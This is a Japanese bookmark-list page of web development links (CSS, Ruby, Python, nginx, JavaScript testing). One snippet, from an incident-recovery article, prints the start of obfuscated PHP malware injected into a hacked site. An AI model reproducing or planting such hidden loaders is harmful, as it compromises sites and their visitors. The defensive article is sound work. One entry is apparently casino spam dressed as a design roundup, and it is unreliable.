タグ

sakudroのブックマーク (2,461)

  • 非公開サイト

    サイトの構築。作品の販売。ブログの投稿。この他にもさまざまな機能があります。 ログイン サイトをはじめよう 非公開サイト このサイトは現在プライベート設定になっています。

    非公開サイト
  • クライアントとの更新やりとりを10倍楽にする(かもしれない)テンプレートまとめ

    ずいぶん久しぶりの更新になりました。 しかも一部の方に予告していた内容と全然違う内容です。ごめんなさい。 まあ、ちょっと忙しくて何書こうとしてたんだか忘れた感じです。 さて、今回は表題にもあるとおりクライアントとの更新やりとりを簡単にしよう!っていう意図から、僕がディレクションの現場で使ってきたテンプレートやら何やらを公開しながら後悔するっていうネタになります。 そもそもなんで更新依頼処理ってあんなに面倒なんだろう? 案件やサイトの構造、クライアントの理解度とかこだわり具合によってかなり変化するとは思いますが、大体以下の流れを辿ってサイトの更新依頼から公開となります。 更新時の依頼→制作フロー ・まずは何の話なのかを解読 ・更新なのか新設なのかを解読 ・何がやりたいのか?またそれはなぜなのか?を聞き取って ・どのくらいの期間であげればいいか確認 ・要素を洗い出してざっくりワイヤー作って ・

    クライアントとの更新やりとりを10倍楽にする(かもしれない)テンプレートまとめ
  • Rubyを始めたい方向けまとめ(2011年秋版) - 223 Software

    最近gitrubyなど、プログラミング関連のあれこれを教える機会が増えてきました。 今自分が一番使っているプログラミング言語はRubyですが、これをどうやって効率的に学習すればいいのかなぁということを考えてみました。 情報の入手の仕方なども盛り込んで、今後自力で使いこなしていくために必要そうなノウハウをなるべく盛り込んでみました。 これからrubyを学ぼうという方の参考になれば幸いです。 また「これからプログラミングを覚えて何かWebアプリを作ってみたいけれど、とっかかりが見つからない。」という方にとっても何かしらきっかけを与えることができたなら幸いです。 ご注意 僕自身はWeb系のプログラマのため、そちらの分野に偏った内容となっています。 この分野の情報はすぐに古くなります。1ヶ月後にはトレンドが全く変わってしまっている可能性がありますので、新しい情報を常に参照するように気をつけてく

    sakudro
    sakudro 2012/01/28
  • QUnit + QUnit-TAPでJSのTDDをしてみた - 223 Software

    JavaScriptでTDDするにはどうすればいいのかな・・・と思い、TDDBCではQUnit + QUnit-TAPが使われていたようなので、とりあえずその環境を整えてみました。 普段rspecを使っている自分としてはrspecっぽく書けるJasmineも気になっているのですが、とりあえずはQUnitを。 インストール QUnit-TAPはnpmで提供されているので、それで入れるのが簡単そう。globalに入れることもできますが、とりあえずカレントディレクトリのnode_module/に入る以下のコマンドでインストール。 $ npm install qunit-tap 設定 まずは設定とか必要なモジュールのrequire等を行うtest_helperを作ります。 QUnit-TAPにサンプルでついてくるtest_helper.jsをほぼそのまま、パスのあたりだけ調節して使っています。 e

  • デザインどや!?|海外カジノ オンラインのWEB作成

    Webページレイアウト、ナビゲーションプラグイン、フォーム、スライダー&カルーセルプラグイン、チャート&グラフプラグイン、イメージエフェクトプラグイン、ビデオプラグインなど。チェックしておきたいです。海外カジノ オンラインサイトの制作はワードプレスのプラグインを利用して様々な機能を付け加えて完成させることができます。2012年のjQueryプラグインまとめでは、デザインの一新や個別のカスタムにも対応した国際的で魅力的なサイト作成に役立つ情報を紹介しています。

  • フリーで利用できる種類の豊富な幾何学模様パターンまとめ「250+ Free Distinct Geometric Patterns」

    TOP  >  Design  >  フリーで利用できる種類の豊富な幾何学模様パターンまとめ「250+ Free Distinct Geometric Patterns」 デザインの質を高めてくれる背景パターンは、なるべく多くストックしておきたいもの。そんな中今回紹介するのが、フリーで利用できる種類の豊富な幾何学模様パターンをまとめた「250+ Free Distinct Geometric Patterns」です。 (Free seamless patterns Green, Pink 70s |) シンプルなパターンからギミックの繊細なパターンまで、さまざまな幾何学模様パターンが紹介されています。中でも気になったものをいくつかピックアップしましたので、下記よりご覧ください。 詳しくは以下 ■Orange Discs | Pattern8 オレンジのグラデーションが美しいパターンデザイン

    フリーで利用できる種類の豊富な幾何学模様パターンまとめ「250+ Free Distinct Geometric Patterns」
  • 『JavaScriptで始める関数型プログラミング 1 - 1』

    1 pixel|サイバーエージェント公式クリエイターズブログ サイバーエージェントのクリエイターの取り組みを紹介するオフィシャルブログです。最新技術への挑戦やサービス誕生の裏話、勉強会やイベントのレポートなどCAクリエイターの情報が満載です。 みなさま初めまして。 私、2011年4月に中途で入社、現在はアメーバ事業部でピグ×スマホ×Webの開発を担当している平松 @co_sche (co-sche)と申します。 家では楽器を弾いて自力で疲れを癒すアラサー男子です。 想定している読者は、JavaScriptの基的な構文を理解している方JavaScriptで関数を定義・使用したことのある方LLと総称される言語を扱っているが、関数型プログラミングを意識したことのない方です。 はじめに早速ですが「関数型プログラミング」という字面が長く、タイピングが辛いので所々FP(Functional Pro

    『JavaScriptで始める関数型プログラミング 1 - 1』
  • 他の言語に慣れた人がPythonを使ったときにつまずきがちな10のポイント - 西尾泰和のはてなダイアリー

    今日質問されて、以前Twitterで書いたのを思い出して、そして検索性が悪くて見つけ出すのに苦労した。こちらに転載しておく。詳細は気が向いたときに埋める。 オプション引数の評価タイミング Rubyではオプション引数は関数が呼ばれるたびに評価される。 def foo() print "foo!" end def bar(x=foo()) end bar #=> foo! と出力される bar #=> foo! bar #=> foo! Pythonでは関数の定義時に1回だけ評価される。 def foo(): print "foo!" def bar(x=foo()): pass #=> foo!と出力される bar() #=> 何も出力されない bar() 「引数が省略されたら今の日時」みたいな毎回評価したい場合はデフォルト値をNoneにしておいて「Noneだったら=省略されていたら」のif

    他の言語に慣れた人がPythonを使ったときにつまずきがちな10のポイント - 西尾泰和のはてなダイアリー
  • nginx連載1回目: nginxの紹介

    皆様、初めまして。滝澤と申します。今月からここで記事を書いていきますのでよろしくお願いします。 ここ1,2年で注目を集めているWebサーバnginxについて今回から数回にわたってを紹介していきます。 nginxについて初めて知った、あるいは、名前は聞いたことがあるんだけど使ったことはない、といった方のために、1回目のこの記事ではnginxの概要を、2回目の記事ではインストールと設定について紹介します。 nginxとは nginxロシアのIgor Sysoev氏によって開発されているWebサーバ兼リバースプロキシのソフトウェアです。「エンジン エックス」(engine x)と呼びます。 2002年に開発が始まり、2004年に公開され、今では約10%のシェアを持つまでに成長しています。facebookやWordPress.ORGなどの大規模サイトでの導入実績もあり、導入するWebサーバの選択

  • Illustrator/InDesignの自動カーニングあれこれ|DTP Transit

    次の方針が望ましいと考えます。 ツメ組みでの基は「自動」+「プロポーショナルメトリクス」を設定 ベタ組みでの基は「和文等幅」 自動カーニングが効かないフォントのみ、「オプティカル」を設定 見出しなど、部分的に「文字ツメ」を併用することも(ただし、欧文には設定しない) ご参考: メトリクスには「プロポーショナルメトリクス」の併用が必須 - なんでやねんDTP 2007-11-03 - 遠近法ノート 「文字ツメ」と「オプティカルカーニング」について。 Illustrator CS2とInDesign CS2の自動カーニング機能 - DTP Transit ふと、調べてみたのですが、「自動」は、従属欧文には無効なので、合成フォントを設定する必要があります(言われなくても使っているでしょうけど)。というわけではないようです。コメント欄を参照してください。 各機能をまとめてみました。 設定名 和

    Illustrator/InDesignの自動カーニングあれこれ|DTP Transit
  • NoSQLのMongoDBを立ち上げてみる

  • Selfkleptomaniac — どうしてTitanium Mobileなの?

    Blogging is a disease: selfkleptomania, your normal condition. About GPG Public Key ウェブ開発者がiOSやAndroid向けアプリを作ろうと思い立った場合、今なら大きく分けて2つの選択肢があります。ひとつは他の人たちと同じようにObjective-CやJavaで素直にアプリを作ることです。まあ、当たり前ですね。もうひとつの方は、PhoneGapやTitanium Mobileのようなサードパーティーのツールを利用してJavascriptなどウェブ開発者の慣れ親しんだ言語で開発するやり方です。それぞれ一長一短があります。先のやり方では、ネイティブな開発用言語だけあって全ての機能を最大限に活かすことができます。AppleGoogleも最大限の開発支援を提供してくれることでしょう。しかし、Objective-C

  • creative-tweet.net

    This domain may be for sale!

    creative-tweet.net
  • CSS3 の border-radius を使って円形のサムネイルを作る方法2つ

    今回の記事では、CSS3の border-radius を使った円形いサムネイルの作り方を2種類紹介します。 まず簡単な方から説明しますが、サムネイル画像が正方形の場合であれば、画像のスタイル border-radius に大きめの値を指定するだけで、丸いサムネイルを作れますね。 <img src="thumb.png" width="150" height="150" style="border-radius:400px;" > サムネイルが長方形の場合 写真が正方形の場合でも、きれいな円にしたい場合は、サムネイルを背景画像(background-image)にすることで実現できます。イメージは↓のような感じです。 HTMLソース サムネイルの幅に合わせたボックスに、サムネイル画像を背景画像として設定し、border-radius で背景画像をクリップします。クリックできるようにする場合

    CSS3 の border-radius を使って円形のサムネイルを作る方法2つ
    sakudro
    sakudro 2012/01/25
  • 脆弱性を突かれて Web サイトを改ざんされてウィルス呼び出しコードを埋めこまれたファイルの調べ方と除去と対応作業と申請手続きについて

    改ざんされてウィルス配布コード埋めこまれてから復旧までの作業や申請の手続きについてまとめていきます。 追記: 「改ざんされた場合そのものの対処方法」という意味で書かせて頂きました。phpMyAdmin の脆弱性についてではなく全般的な内容となっております。誤解を与える表現となってしまい申し訳御座いません。 今回埋めこまれた不正なコード 実際のコードは改行やスペースがなくなって一行のコードとなっておりますので非常に気づきにくいです。 <?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) { $eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn

  • 今時のシンプルでモダンなデザインが簡単に作れる、フリーのUIデザインPSD素材

    Youtube UI PSD / Free PSD: iTunes Inspire... / Sleek UI Elements他...全16件

    今時のシンプルでモダンなデザインが簡単に作れる、フリーのUIデザインPSD素材
    sakudro
    sakudro 2012/01/25
  • [CSS] 美しいパンくずを実装する4つのスタイルシート | コリス

    画像を使用せずに、シンプルなHTMLで美しいパンくずを実装するスタイルシートのチュートリアルを紹介します。 CSS3 breadcrumbs [ad#ad-2] デモ 実装 デモ デモはCSS3、疑似要素を使用しているため、IE9+, Firefox, Chrome, Safari, Operaでご覧ください。 4つデモは、全て画像を使用していません。 デモページ:ホバー時 実装 HTML HTMLは非常にシンプルで、リスト要素を使用します。 ul要素にid、現在位置にclassを記述します。 <ul id="breadcrumbs-one"> <li><a href="">Lorem ipsum</a></li> <li><a href="">Vivamus nisi eros</a></li> <li><a href="">Nulla sed lorem risus</a></li>

    sakudro
    sakudro 2012/01/25
  • ファイルアップロードのレジュームをブラウザ上で行える「Resumable.js」:phpspot開発日誌

    Resumable.js: Fault Tolerant Resumable File Uploads in JavaScript - Badass JavaScript ファイルアップロードのレジュームをブラウザ上で行える「Resumable.js」。 HTML5のAPIを使ってこうしたことが実現できるようになるみたいです。 ファイルが大きくなり、回線も太くなりますがブラウザベースだと落ちちゃったらまたやり直しと回線も無駄ですし、何より時間のムダですね。 こういった機能が広まれば沢山の人の無駄を減らせそうです 動作ムービーは以下に。 何年後かには当たり前になっていてそんな時代があったの?ということになるかもしれませんね githubにてソースが公開されています 関連エントリ HTML5ゲームに使えるローディング表示機能付きプレロード用JSライブラリ「PxLoader」 HTML5のcan

  • フリーランスとして生きる道に人生はあるか? - SEO Japan|アイオイクスのSEO・CV改善・Webサイト集客情報ブログ

    IT、ネット業界は他の業界に比べると比較的フリーランスとして独立しやすい業界といえるかもしれません。デザインやコーディング、プログラミング(最近ではSEO、ソーシャルメディアマーケティングも)に秀でた能力・実力があれば学歴に関係なく仕事はありますよね。会社に束縛されない自分の才能を生かした自由な生き方としていつか独立してフリーランス仕事をしたいと思っている人も多いと思いますが、同時に不安な面が多くあるのもまた事実。今回はフリーランス歴6年、現在はフリーランスに特化したエージェンシーを経営する筆者がフリーランスの生き方を会社経営を比較して考えた記事を。 — SEO Japan 私はフリーランス主導のエージェンシーを経営しており、昨年は実に93人のフリーランサーを面接した。私が彼らに尋ねる最も重要な質問は、彼らがどこへ行こうとしているのかに焦点を置く傾向がある。 ビジネスにおけるあなたの夢は

    フリーランスとして生きる道に人生はあるか? - SEO Japan|アイオイクスのSEO・CV改善・Webサイト集客情報ブログ
  • CSS Transformsについてのメモ

    既に色々なデモページが作られていたり、実用されていたりするCSS Transformsですが、ちゃんと理解したかったので調べてみました。 まだそんなに自信はありませんが、以前よりは理解できた気がします。 というわけなので、自分が分かる範囲で説明してみたいと思います。 CSS Transformsは2Dと3Dとで別になっていますが、将来的には SVG Transforms と合わせて一つの仕様になるそうです。 今はまだ別々なので、それぞれにリンクをしておきます。括弧内は現時点での最新の日付です。 WD: CSS 2D Transforms(2011/12/15)ED: CSS Transforms(2011/11/28)WD: CSS 3D Transforms Module Level 3(2009/03/20)ED: CSS 3D Transforms(2011/03/21)新しくなった

    CSS Transformsについてのメモ
    sakudro
    sakudro 2012/01/24